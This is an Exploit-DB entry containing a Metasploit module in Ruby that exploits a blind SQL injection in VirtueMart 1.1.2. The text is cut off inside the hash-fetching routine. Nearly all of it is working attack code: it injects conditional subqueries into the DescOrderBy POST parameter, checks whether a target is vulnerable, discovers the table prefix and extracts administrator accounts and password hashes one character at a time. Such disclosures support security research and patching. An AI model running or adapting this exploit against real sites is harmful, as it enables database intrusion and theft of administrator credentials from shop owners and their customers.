Exploit-DB #8326
Description: VirtueMart 1.1.2 - SQL Injection (Metasploit)
Type: webapps
Platform: php
Date: 2009-03-31
Author: waraxe

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
			'Description'    => %q{
					This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
			},
			'Author'         => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '1.0',
			'References'     =>
				[
					['BID', '33480'],
					['URL', 'http://www.waraxe.us/advisory-71.html'],
					['URL', 'http://secunia.com/advisories/33671/']
				],
			'DisclosureDate' => 'Jan 24 2009'))

			register_options(
				[
					OptString.new('URI', [false, 'Path to VirtueMart', '']),
					OptInt.new('TARGETID', [false, 'Target ID (optional)']),
					OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
					OptBool.new('ALLSA', [ false,  'Fetch all Super Admins', true]),
					OptBool.new('ALLA', [ false,  'Fetch all Admins', false]),
					OptBool.new('ALLM', [ false,  'Fetch all Managers', false]),
				], self.class)
			
	end

	def run

		@marker = 'name="addtocart"'
		@target_uri = '/' + datastore['URI'] + '/'
		@target_uri = @target_uri.gsub(/\/{2,}/, '/')
		@target_id = datastore['TARGETID'] 
		@target_prefix = datastore['PREFIX']
		@requests = @fetched = 0
		time_start = Time.now.to_i
		
		# debug_level=2 - more debug messages, 1 - less
		@debug_level = 1
		
		if(!pre_test)
			print_error('Exploit failed in pre-test phase')
			return
		end

		if(datastore['ALLSA'])
			if(!get_users(1))
				print_error('Exploit failed fetching Super Admins')
				return
			end
		end
		
		if(datastore['ALLA'])
			if(!get_users(2))
				print_error('Exploit failed fetching Admins')
				return
			end
		end
		
		if(datastore['ALLM'])
			if(!get_users(3))
				print_error('Exploit failed fetching Managers')
				return
			end
		end
		
		if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
			print_status('Target ID or group(s) not specified, fetching Super Admins as default')
			if(!get_users(1))
				print_error('Exploit failed fetching Super Admins')
				return
			end
		end
		
		if(@target_id > 1)
			if(!get_user())
				print_error("Exploit failed fetching user with ID=#{@target_id}")
				return
			end
		end
		
		time_spent = Time.now.to_i - time_start
		
		print_status("Exploitation results:")
		print_status("Got data for  #{@fetched} users")
		print_status("Total time spent: #{time_spent} seconds")
		print_status("HTTP requests needed: #{@requests}")
		
	end
	############################################################
	def make_post(post_data)
		
		timeout = 30
		
		begin	
		
			res = send_request_cgi({
				'uri'     => @target_uri,
				'method'  => 'POST',
				'data'  => post_data,
			}, timeout)
			
			if(res and res.body)
				@requests += 1
				return res.body
			else
				print_error('No response from server')
				return nil
			end
			
		rescue ::Exception
			print_error("Error: #{$!.class} #{$!}")
			return nil
		end
	end
	############################################################
	def test_condition(condition)
		
		max_tries = 10

		post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
		post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
		
		1.upto(max_tries) do |i|
			
			buf = make_post(post_data)
			
			if(buf)
				return buf.include?(@marker)
			else
				print_status("Sleeping #{i} seconds")
				sleep(i)
				print_status("Awake, retry ##{i}")
			end
		end
		
		return nil
	end
	############################################################
	def pre_test
		
		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 1 failed - VirtueMart not detected')
			return false
		else
			print_status('Pre-test 1 passed - VirtueMart detected')
		end

		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
		buf = make_post(post_data) or return false

		if(buf.include?(@marker))
			print_error('Pre-test 2 failed - target is patched?')
			return false
		else
			print_status('Pre-test 2 passed - injection detected')
		end
		
		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 3 failed - subselects not supported?')
			return false
		else
			print_status('Pre-test 3 passed - subselects supported')
		end
		
		if(@target_prefix == '')
			print_status('Prefix not provided, trying to fetch')
			@target_prefix = get_prefix
			if(!@target_prefix)
				print_error('Prefix fetch failed')
				return false
			else
				print_status("Prefix fetched: #{@target_prefix}")
				return true
			end
		end
		
		post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
			"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
			
		buf = make_post(post_data) or return false
		
		if(!buf.include?(@marker))
			print_error('Pre-test 4 failed - wrong prefix?')
			print_status('Trying to fetch valid prefix')
			@target_prefix = get_prefix
			if(!@target_prefix)
				print_error('Prefix fetch failed')
				return false
			else
				print_status("Prefix fetched: #{@target_prefix}")
				return true
			end
		else
			print_status('Pre-test 4 passed - prefix OK')
		end
		
		return true
	end
	############################################################
	def get_char(pattern, min, max)
	
		num = get_num(pattern, min, max) or return nil
		
		return num.chr
		
	end
	############################################################
	def get_hash(group = nil, u_pos = nil)
		
		hash = ''